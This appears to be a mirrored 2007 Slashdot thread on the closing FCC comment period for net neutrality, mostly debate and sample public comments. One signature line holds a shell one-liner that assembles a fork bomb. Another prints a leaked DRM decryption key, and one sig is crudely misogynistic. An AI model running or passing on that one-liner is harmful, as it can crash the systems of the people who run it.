Slashdot Mirror
Net Neutrality Comment Period Ends Friday
FatherBash writes "Friday marks the final day for citizens, corporations, and paid spinmeisters alike to file comments with government regulators on Net Neutrality. Wired has the story with a link to the FCC page where you too can throw in your two cents."
I don't want to fuck that bitch while she's on the rag.
Do you even lift?
These aren't the 'roids you're looking for.
No sarcasm there at all
Control is an illusion, order our comforting lie. From chaos, through chaos, into chaos we fly
No matter how hard we want to fight against it, net neutrality will eventually fall. The big providers want it to happen and the big content providers are not making a big enough stink about it to really rally the people against it. One of these days legislation will simply slip in, and then everyone on will really regret not taking more action when we had the chance. Kind of like the situation with Global Warming is going to be :)
I still believe we'll all be better off the more we can keep government out of it. Corporations can be dealt with by voting with your wallet, but the more the government sticks its nose in, the more government will stick its nose in.
Just because energy is being focused in one area does not mean that all other areas are being ignored.
In fact, as we all know, neither Iraq nor Africa are being ignored.
I always hate these types of arguments. They rely on the assumption that any person, government, or whatever else can only do one thing at a time and that all energy and monies are poured into that one thing.
In truth, however, this particular issue is one of importance to many Americans, and therefore it seems appropriate that the government would take it up.
Could someone post a link to the place where we can submit a comment (I mean, other than Slashdot. I don't think the government takes official notice of Slashdot comments).
Particularly this comment on the Wired blog
,WITH A PACK OF MORONS FOR SOME BIG TELECOM WITH BILLIONS OF DOLLARS AND VERY LARGE LEGAL STAFFS :; TELLING ME AND EVERY OTHER CONSUMER HOW TO READ, WRITE and SPEAK!
http://blog.wired.com/27bstroke6/2007/06/net_neutr ality_.html#comment-72777768
The Government and the FCC[Federal Communication Commission], Should stop the Tele-Communications, from selling bundles.
It Is the worst thing that could ever Happen. Especially since the consumers; Ability to complaint about service has been Thrown Out.
{ By the I agree / or Do not agree} Button that have to be clicked for Internet service.(ALSO: THIS IS ILLEGAL CONTRACT)!.
Currently The Tele-Com's Have Given themselves the "ABILITY" to "RATION"! out The First Amendment:
++Mainly Freedom Of Speech and Freedom Of Press.( By Their Agree or Do not Agree). Before the provide service!.
**THEY HAVE NO RIGHT TO DENY SPEECH OR PRESS TO ANYONE!!
The Telephone Lines and Cables are not Just for Large Corporations,They are for Public and Private use.
This is what they are Trying to achieve: Total Control and Dominance in: What you can see, hear, or speak and write!. By Offing the Consuming public: Apparently Low Prices on Many Peripherals. That The Consumer Believes that they are getting a good DEAL, "WHICH THEY ARE NOT!.
Regulatory, INTERVENTION IS NEEDED!.
Being pushed off a or "TERMINATED at the "DISCRETION OF SOME EMPLOYEE HAVING A BAD DAY, OR AN ATTITUDE ABOUT WHAT SOMEONE WRITES, THAT IS NOT TO HIS OR HER LIKING.
IS THE GOVERNMENT AND THE FCC GIVING TOTALITARIAN AND FASCIST AUTHORITY , TO A PACK OF GREEDY MONGRELS, {THE TELE-COM} INDUSTRY!.
THERE IS NO WAY TO GET SERVICE!.
THERE IS NO WAY TO GET MAINTENANCE!.
THERE IS NO ONE TO CALL ABOUT SERVICE DROP-OUT (OFF)!.
WHEN THERE IS A PROBLEM, THEY SAY IT'S YOUR COMPUTER OR EQUIPMENT,AND IN MANY CASES THIS IS AN OUT RIGHT LIE AND FRAUD(AGAINST CONSUMERS)
WHERE THERE IS NO PROTECTION BY THE GOVERNMENT ![Why FCC does not have a complaint for such activity is incomprehensible.]
AND THERE SHOULD BE PROTECTION OF BASIC SPEECH AND PRESS!.
AND NOT AT THE DISCRETION OF SOME LAME BRAIN OVER PAID OVER RATE(THEMSELVES) COMPANY AND EMPLOYEES'. {AND WAY OVER PRICED].
IN GENERAL THERE IS NO VENUE FOR THE CONSUMER, OR AVENUE FOR THEM TO PURSUE, IF THE DAMN THING STOPS WORKING!.(or If They are Denied ACCESS).
THAN THERE IS THE BOLD BLATANT CONSUMER FRAUD THAT THE TELE-COM'S PERPETRATED AGAINST THE GOVERNMENT BUSINESS AND CONSUMER:!
BY SAYING THAT THEY HAVE A MAIL SYSTEM THAT; IS YOURS(LEADING THE CONSUMER) TO BELIEVE, THAT THEY CAN WRITE AND CORRESPOND PERSONAL MESSAGES: WHEN THEY ARE NOT.
THEY ARE VENUES FOR THE TELE-COMS TO ADD [ADVERTISEMENTS] TOO. THIS IS NOT PERSONAL MAIL!}.[This is corporate selling] and I Want To know WHEN I AM GETTING PAID???.
THAN MOST OF ALL, AFTER A TELECOM COMPANY TELLS YOU THAT YOU {STATED} OR WROTE SOMETHING THEY DO NOT LIKE.
GO AND TAKE A GOOD LONG LOOK AT THE TRASH, OBSCENITY,PORNOGRAPHY THEY PUT AT THE : TOP BOTTOM, SIDES OF YOUR MAIL!.IF YOU COMPLAIN THEY SAY TO LEAVE.( The Telephone and Cable Line Are For the Use Of The Public and Private Use)!. These company have no legal ground to ask any consumer to agree or not to the use of Public access and they have no right to deny[access] , but they keep trying
THEY: {THE TELECOM] INDUSTRY WOULD, GIVEN HALF A CHANCE ; TURN THE PUBLIC AND CONSUMER INTO THEIR OWN PRIVATE WHORES!.
**YES: Intervention is very needed!.
+++HARMFUL BEHAVIOR.
YES IF TRYING TO DOMINATE AND CONTROL SPEECH AND PRESS IS NOT HARMFUL, WITH NO AVENUE OR VENUE FOR THE CONSUMER TO COMPLAIN AND NO CONSUMER PROTECTIONS;
***YES THIS IS A VERY HARMFUL THING!.
**WHAT IS EVEN MORE HARMFUL,, I AM SITTING IN MY HOUSE
IS THIS FASCISM? OR TOTALITARIAN
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
After Friday, if I tell them my opinion, what will they do to me?
Airwaves belong to everyone. Although transmission is regulated,
reception is open and unrestricted. And the only purpose of the
regulation is to ensure that the openness of the medium is preserved
and the utility of the radio space is not compromised.
This is as it should be. Everybody benefits when the utility of a
common resource is preserved. Otherwise, the phenomenon of the
"Tragedy of the Commons" rears its ugly head. Here, overly agressive
private consumption of a public resource causes a compromise of the
utility of the common resource, to the detriment of all, including
the private individuals hogging the resource!
The Internet is, by definition, a shared resource. It's a peering
agreement based on communications protocols which enable all of its
parts to cooperate together, seamlessly, for the public benefit. Any
part can access any other part as though all parts were local. It's
the first, truly open, global communications system whose immense
potential for benefiting humankind has barely begun.
It is now up to you, here, to declare for our progeny, that this
shared, common resource shall remain open and free for the benefit of
all, to ensure its use, utility, and power so that everybody can benefit.
Balkanizing this public medium with an "unequal" internet, where the
common carriers of the traffic are free to degrade access to portions
of the network not in their personal interest, serves only to pillage
the utility of the common good. It provides enhanced short-term
profits for the pillager, but degrades the overall utility of the
network.
Please, please please, follow the forefathers before you who have
declared that this land be preserved for the common good, and those
who declared that the roads be preserved for the common good, and
those who have declared that the nation's power grid and telephone
grid be regulated to preserve their utility for the common good.
The utility of the Internet should be preserved. Please, please, keep it neutral.
I have no problem with your religion until you decide it's reason to deprive others of the truth.
It sounds coherent up to the "bundles" part, though--after all, anyone who's signed up for a Double/Triple/n-tuple Play has probably contracted away their rights to protest all the packet shaping and net-neutrality intrusion (if not their soul...).
You can hold down the "B" button for continuous firing.
I am against 100% all government economic intervention. It is unnecessary, unconstitutional, and economically bad. Read von Mises.
the Political Inquirer
elected representatives don't really care what you have to say about this issue. the lobbyists that are bought and paid for by megacorps will be the ones deciding how to shape the future of the internet. you have no voice in this matter, get used to it.
I agree with your statement that more government regulation will only lead to more government regulation. But in this type of case, the ISPs are being granted limited monopolies, so regulations (Net Neutrality) must accompany those monopolies in order to prevent abuse.
Unless you are suggesting that the monopoly also be removed, taking the government all the way out, then you could actually "vote with you wallet" as you said, and rely on the marketplace.
I'm sure that will look really important next to the millions of dollars already in there...
Aside from setting precedence if it passes, how will this affect other countries?
why they won't lose their common carrier status if they start discriminating between different types of traffic ?
I'm sorry but you're completely off-track.
Just look at a budget: it splits a fixed amount of money between possibilities, that's a consequence of the fact that money can only be poured into one thing. If our government could spend the same million on education, research, jobs, roads and the military, we wouldn't be in debt.
The real reason why everything isn't spent in Africa is that the payoff is non-linear. Otherwise the optimal strategy *would be* to pour everything on one thing.
I have a proposal for a fair solution to this problem of net
neutrality, one that allows ISPs to offer enhanced services and also
gives people a good way to decide between service providers. Simply
require that, when they advertise bandwidth numbers, an ISP may not
throttle below that bandwidth for any service. They can offer
specialty services that exceed that bandwidth, but they may not
advertise it as "internet speed" or as an unspecified data rate.
For instance, if Time Warner advertises a 5000/384 connection, they
may not throttle ad hoc traffic below this rate, but they may also
offer other features beyond this rate, eg movie/music streaming or
download.
I remember reading a comment by someone on slashdot about this subject previously, and I can see the logic in his reasoning. He basically said that this whole "net neutrality" thing would actually be a very bad thing to the ISP's. The reason being.. is that other ISPs and content providers will show up advertising that they DO NOT control how your service is delivered, making people switch to those provider who do not shape your bandwidth. Eventually those ISPs who wish to impose their rules on you will be forced to go back to the concept of open internet because they will see that people will be flocking to those ISP's who offer a truly free and open internet.
The magical number is: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
Because the 'debate' has been cast in false frame of reference (arguing whether to "keep net neutrality", while defining the term as a function of content), the networks win, and win big. Basically, they'll get the ability to control/tax most/all portions of the economy of which Internet is a part. This means stupid profit, at our expense, and I'm looking to invest in the players to recoup my losses in some way.
So, who are the players nowadays? I haven't kept track, although I figure Quest is still around doing wholesale bandwidth, and anyone that provides digital service between any two points on the network will "benefit."
I call it hedge instead of profit, because the loss of freedom will outweigh any actual monetary gain from investing properly.
Why is Friday the last day to comment to the FCC on this? Is this just a precursor for preliminary hearings on net neutrality? For an issue so important to the preservation of everyday communication, I am surprised this deadline hasn't received a lot more exposure than this. Then again, the majority of the 1996 Telecom Act received minimal exposure in the media (except for the V-Chip and TV Rating amendments), so maybe I shouldn't be too surprised...
Two Words : Government Wiretapping
http://www.savetheinternet.com/yourstory
"documents that is"? Where did they outsource this to?
And if they don't want macro viruses, why are they accepting Word docs at all?
The passwords and redlining thing is a mystery to me. Is there some way to embed a password in a document so as to bring down the FCC? What could that magic word be?
"with their freedom lost all virtue lose" - Milton
Attn: Chairman and Commissioners;
Sirs:
First, I would like to draw your attention to a certain holiday party late last year, which I happened to attend. As an avid hobbiest photographer, it was my opportunity to take some very original photographs of the boardroom that night. Say, around 10:42pm. As it is your job to take an interest in the media, I thought you would like to know.
On a clearly unrelated note, I hope we can all remain neutral with regards to the issues at hand today, such as the Internet, and... the media.
Regards,
Don't think of it as a flame---it's more like an argument that does 3d6 fire damage
Does it even matter to politicians what people say? I mean, come on. Comment Period? Do you actually think that the people who make the decisions actually give a damn what you think?
People should know this already: It doesn't matter how correct you are; It's how deep your pockets are.
Knowing Google's lust for data collection, the Soviet Union is still alive and well inside the psyche of Sergey Brin....
Today there's no competition. All the telcos and providers merged and in my residence there's only one Cable TV provider and only one land line provider (not counting VOIP). This also means there's little broadband competition. You can say one can get any DSL provider over my land line, but look at the price tag? They're paying premium to be carried over because the Telco won't allow them to compete against their own DSL service. Then there are the new services, broadband over the cell phone, satellite, but those are not comparable.
VOIP is getting a hard time competing against the telcos because they face the FCC regulations (911) and the patent enforcement (Verizon x Vonage).
So the argument for Net Neutrality being ruled by competition will not fly, because there's no competition. What's to stop the future merges, which might leave us with a single company providing all the services at once and removing our only hope for competition?
I want to go on record as being very much in favor of Net neutrality. As a computer engineer/computer science graduate who makes my living programming web applications, I can say with certainty that allowing the ISPs to create tiered models of services would destroy the ability of myself and others to innovate.
Let me give an example. In the early days of the World Wide Web, the typical content we had was static pages with maybe an image or two. Network performance continued to be upgraded, however, and as that happened new innovators took advantage of the increase in bandwidth to begin making interactive and interesting web pages. These pages became richer and richer, and content became larger and continually more complex and interesting. You began to have web sites in which users could communicate with each other and participate in collaborative projects. As these new innovations occurred, peoples' expectations web applications rose, demand for Internet connectivity increased, more people subscribed to broadband, and this in turn caused ISPs to update their network architectures. Thus a virtuous cycle was created: more bandwidth increased what developers such as myself could create on the Internet, which interested more people, which caused more of them to subscribe to ISPs, which gave the ISPs money to add even more bandwidth, etc.
Now the situation we are looking at is different. Rather than add network capacity to increasingly allow richer content on the web, the ISPs will be able to charge based on different types of media. IPTV, for instance, will require an addition of considerable bandwidth to the Internet in order to have high quality transmissions. However, by abolishing net neutrality, the ISPs will be able to deliver that performance by giving most of the bandwidth to services like IPTV and throttling other forms of traffic. Rather than spend the money we pay as subscribers for things like bandwidth upgrades, they will just reduce some forms of service and pocket the money. That is NOT what we are paying for.
In addition, this will break the virtuous cycle I mentioned above. Because ISPs can throttle a lot of different kinds of web traffic, they will be able to avoid raising bandwidth. And without the extra bandwidth, we as developers won't be able to push new limits with our programs as we have in the past. Continuing to make richer content requires more bandwidth, and our efforts will be starved in that area. In addition, innovative start ups won't have the money to pay for the increased bandwidth they need to compete with big, established sites. Thus, while they may have good ideas, they probably won't catch on because their sites will be made artificially slower by the packet shapers. We need to keep the Internet a level playing field for everyone.
In closing, I would urge you to look at the history of the Internet. Though brief, it has in a short time profoundly changed the way we live our lives, and made possible advances in science only dreamed of in previous decades. During all this time of astounding development, the Internet was neutral. Given how well the Internet, commerce, science, and everything else are performing under the current system, why would we want to change it? Things don't get any better than they are now (unless you stand to profit by charging more for preferred services).
Beware of bugs in the above code; I have only proved it correct, not tried it.
Duh? Yeah, you'd think it would be obvious that our telecom and other communication networks are just as much a shared common infrastructure as are our roads, right? We don't allow the builders of our roads to retain ownership of the sections they build, do we? Why is the telecom network and Internet are so much different?
The true stupidity wasn't letting AT&T become a virtual monopoly: the mistake was allowing it to remain a for-profit entity and/or keep control of the infrastructure it built. The net-neutrality war is the price we pay now for that old stupidity of not ensuring that these very public resources were kept public, and instead allowing them to be owned by the self-interested hands that built them. Had we allowed road builders to own the roads they built, it's easy to envision a battle over access to those brick-and-mortar highways very similar to this battle over 'Net neutrality.
From here on out, the 'Net needs to be designed and built by consensus, not by profiteers at the end of a gun fueled by greed and a fistful of dollars. Let those profiteers make proposals and bid to build the 'Net, but DON'T let them make decisions or own what they build on our behalf. Relegate them to contractor status, just like the builders of our public roads.
Isn't it time to take back this shared public infrastructure from the profiteers who have only their own, not the public, good in mind? This is an instance where a little controlled socialism would really make more sense than unregulated capitalism.
File away! http://www.fcc.gov/cgb/ecfs/
Or here's a direct link to the FCC comment site.
Mesa Networks in Colorado. Great service, they use microwave and RF for service over Motorola equipment. The only issues I ever had were immediately after they bought another company in Southern Colorado they were constantly updating their DNS servers so if you were using them you couldn't connect to sites, and they had a port that my VPN to work uses blocked due to a worm that was using the same. A quick call took care of that. They don't block ports outside of those being used by malware that is currently spreading and they do not engage in packet filtering.
Would a series of providers like this all connecting together help things out? It would seem that agreements among themselves would help out quite a bit as they could avoid connecting to one of the larger provider networks much of the time.
I have the 1.5 Mbps package, but my average connection speed is about 2.5 Mbps and I have hit 6 before. My tower is 8.9 miles away, and they used the dish behind my antenna to help it out.
As an aside, I was downloading several distros the other day and my PC clocked one of them downloading at 49 Mbps for a couple of seconds. Don't know if that was right or not, but out of 650 MB, I gained over 300 MB in a few seconds.
On topic or not, that is my statement and question and mad props for my ISP. Only 12 more hours to go until 2 hours of sleep and another day of work.
Rock.
Meh.
I respectfully submit my reasoning on the matter of Net Neutrality. Individuals that pay for Internet access should not have to pay additional fees for using that service in different ways. For example: If I surf the web I should not be charged to send email simply because it is a different type of packet or application. This would also apply to VoIP applications and packets. VoIP applications and packets are ways to communicate just like email or websites and should not be singled out and discriminated against because they are different. I pay my ISP for internet access, not for the use of each application I choose to use said access for. Another example I would like to be considered: Before the internet was mature we used Modems to communicate over phone lines. Phone Companies did not impose a charge to use the modem over a POTS (Plain old Telephone System) line and they were in fact used for other purposes of communication than the norm. I beg that you act on my words and keep the internet neutral!
Thank you in advance for your time.
More than likely you're going to see your representative trying to saying the masses want to hear.
Joe Sixpack doesn't care about this subject. That's right, who the fuck cares.
Your average citizen won't care/know what's going on. Ignorance is bliss! Haven't you heard?
What do politicians/bureaucrats know anyway?
Oh God, the world's coming to an end!
Be afraid. Be VERY afraid!
I'm drunk :P
Slashdotters, what are you made of!?
Net Neutrality.
Last stance!?
Show them the power of the internet!
SaveTheInternet.com
because they haven't been classified as a common-carrier for several years now. they're an "information service" or something to that effect that has less stringent requirements.
upon the advice of my lawyer, i have no sig at this time
If you haven't figured it out by now, the US government is going to do whatever it wants* anyway. The one with the most money wins. That's the way it works.
* http://www.google.com/search?q=at%26t+wiretapping
boycott slashdot February 10th - 17th check out: altSlashdot.org
Wait a minute...
Can someone tell me how we are voting on this issue?
Are we for it or against it?
I've been trying to think of a reasonably accurate way to explain it to laypeople.
I think losing net neutrality is something like this: imagine that you pay for overnight shipping at the post office, but then it doesn't get there until a day later because you didn't also pay off the postman on the other end. Without net neutrality, that's pretty much how it will work, right?
Cheers.
If you tally up every government intervention in the internet as positive or negative, you'll see a huge skewing toward negative. What makes people think 'net neutrality', a huge misnomer, will be any different? Regulation will not make the internet more free.
Fortunately I saw that he could barely figure out how to submit this rambling nonsense to Wired, let alone on the FCC comment form. That's one nice thing about the internet -- the bar to entry is still high enough that it keeps at least a few of the stupidest people from stepping over it.
John
I doubt they even look at RFC's, it's just a way to vent your opinions while lobbyist shove money their way to sway their votes.
Dear Sirs:
Due to all the hype and attempts by both sides to sway opinion through
nearly deceptive means, I am not certain what the term "Net-Neutrality"
actually means as defined by any of the factions. However, to state it
clearly, I am FOR preserving the Internet as a SINGLE-TIERED level of
service by anybody who is able to provide it, AND that there should
be NO CONSIDERATIONS whether financial or otherwise, relating to how
traffic is directed. All users of the Internet should have equal
access to the various services and destinations of the Internet. The
only limiting factor should be how much the user is willing to pay
for the bandwidth they use irrespective to any particular service,
port, origin or destination, content, or other manner of use.
While it is true that there are some companies that have spent money
and resources to build and supply infrastructure, it is EQUALLY
true that there are vast numbers of people (and companies and other
organizations) that have spent time, money and resources to supply
CONTENT for the Internet. And without CONTENT, the physical
infrastucture would indeed be far less valuable and renumerative.
My point is that it is VERY CLEAR that there is a MUTUAL ARRANGEMENT
that benefits all stakeholders of the Internet. The users benefit
from the infrastructure the telecommunications companies can provide,
and they in turn benefit from the vast amount of content provided by
the users. And that neither can easily function without the other.
Go here (link from TFA). Here's what I wrote:
As a technology professional, I earn my entire income from creating
pages and applications on the Internet. The Internet has equalized
my range of opportunities with people all over the world. I can live
in the city where I grew up and work for any company in the world.
This is possible because of the open, non-proprietary nature of the
Internet. On the web, a huge corporation and a single person are
equal. While we live in a time where starting most types of
businesses has become too expensive for an entrepreneur to even try,
the Internet provides a brand new space for unlimited ideas, even
for someone with almost no money at all.
If the web is no longer neutral, we will ultimately hurt our small
businesses and entrepreneurs who won't be able to afford premium
speeds from the major Internet Service Providers. On a non-neutral
Internet, innovation will be slowed down just like the bandwidth
of the web sites I create.
Please do not be fooled into thinking that an Internet fast lane is
going to help anyone but the large corporations that don't really
need any help at all.
Net Neutrality is essential to prevent Internet Service Providers
from choking off Content Providers who do not, or cannot, pay for
enhanced bandwidth.
Imagine you have AT&T DSL service. You pay for Time Warner IPTV
service. Under Net Neutrality, there is no problem with this
arrangement. Without Net Neutrality, AT&T can and will keep its
competitor Time Warner's IPTV off its high speed network. This
effectively restricts you from accessing Time Warner IPTV since
decent TV over the Internet will obviously require a LOT of
bandwidth.
This scenario is exactly the same for VOIP, movies on demand,
and every other high bandwidth service. For every high bandwidth
service an ISP provides, there will be an incredibly expensive
barrier for its competitors to overcome.
The end of Net Neutrality will be an exact repeat of the ILEC/CLEC
disaster. We will end up with a duopoly of Cable and DSL who each
provide a stack of high bandwidth services with effectively no
competitors on the high bandwidth networks.
For this reason, I urge you to enforce the principle of Net
Neutrality.
--
I know it's not perfect, but I think it's a reasonable comment.
-l
Help cure AIDS, cancer, and more. Donate your unused computer time to worldcommunitygrid.org. Join Team Slashdot!
Read here
> I am against 100% all government economic intervention. It is unnecessary, unconstitutional, and economically bad. Read von Mises.
Why don't we make the telcos give up the public funds, public infrastructure and easements on public land first? Then I'll be more than happy to give up Net Neutrality, because there will be an even playing field.
I'm sorry, but I don't care to be exploited so that we can follow your libertarian ideology. Do you really think that anyone wants another Enron? Because that's exactly what your recommendation would create.